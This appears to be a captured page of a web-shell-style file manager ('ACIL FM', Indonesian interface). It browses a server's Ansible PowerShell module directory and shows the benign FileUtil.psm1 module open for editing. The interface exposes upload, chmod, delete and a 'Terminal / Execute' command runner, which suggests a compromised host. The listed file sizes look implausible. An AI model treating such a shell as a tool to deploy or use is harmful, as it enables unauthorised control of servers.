ACIL FM
Dark
Refresh
Current DIR:
/usr/lib/python3.9/site-packages/ansible/module_utils/powershell
/
usr
lib
python3.9
site-packages
ansible
module_utils
powershell
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
Ansible.ModuleUtils.AddType.psm1
17.83 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.ArgvParser.psm1
3.25 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.Backup.psm1
1.08 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.CamelConversion.psm1
2.4 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.CommandUtil.psm1
3.6 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.FileUtil.psm1
2.15 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.Legacy.psm1
12.46 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.LinkUtil.psm1
17.35 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.PrivilegeUtil.psm1
2.8 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.SID.psm1
3.55 MB
chmod
View
DL
Edit
Rename
Delete
Ansible.ModuleUtils.WebRequest.psm1
18.73 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
0 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/lib/python3.9/site-packages/ansible/module_utils/powershell/Ansible.ModuleUtils.FileUtil.psm1
# Copyright (c) 2017 Ansible Project # Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause) <# Test-Path/Get-Item cannot find/return info on files that are locked like C:\pagefile.sys. These 2 functions are designed to work with these files and provide similar functionality with the normal cmdlets with as minimal overhead as possible. They work by using Get-ChildItem with a filter and return the result from that. #> Function Test-AnsiblePath { [CmdletBinding()] Param( [Parameter(Mandatory = $true)][string]$Path ) # Replacement for Test-Path try { $file_attributes = [System.IO.File]::GetAttributes($Path) } catch [System.IO.FileNotFoundException], [System.IO.DirectoryNotFoundException] { return $false } catch [NotSupportedException] { # When testing a path like Cert:\LocalMachine\My, System.IO.File will # not work, we just revert back to using Test-Path for this return Test-Path -Path $Path } if ([Int32]$file_attributes -eq -1) { return $false } else { return $true } } Function Get-AnsibleItem { [CmdletBinding()] Param( [Parameter(Mandatory = $true)][string]$Path ) # Replacement for Get-Item try { $file_attributes = [System.IO.File]::GetAttributes($Path) } catch { # if -ErrorAction SilentlyCotinue is set on the cmdlet and we failed to # get the attributes, just return $null, otherwise throw the error if ($ErrorActionPreference -ne "SilentlyContinue") { throw $_ } return $null } if ([Int32]$file_attributes -eq -1) { throw New-Object -TypeName System.Management.Automation.ItemNotFoundException -ArgumentList "Cannot find path '$Path' because it does not exist." } elseif ($file_attributes.HasFlag([System.IO.FileAttributes]::Directory)) { return New-Object -TypeName System.IO.DirectoryInfo -ArgumentList $Path } else { return New-Object -TypeName System.IO.FileInfo -ArgumentList $Path } } Export-ModuleMember -Function Test-AnsiblePath, Get-AnsibleItem
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply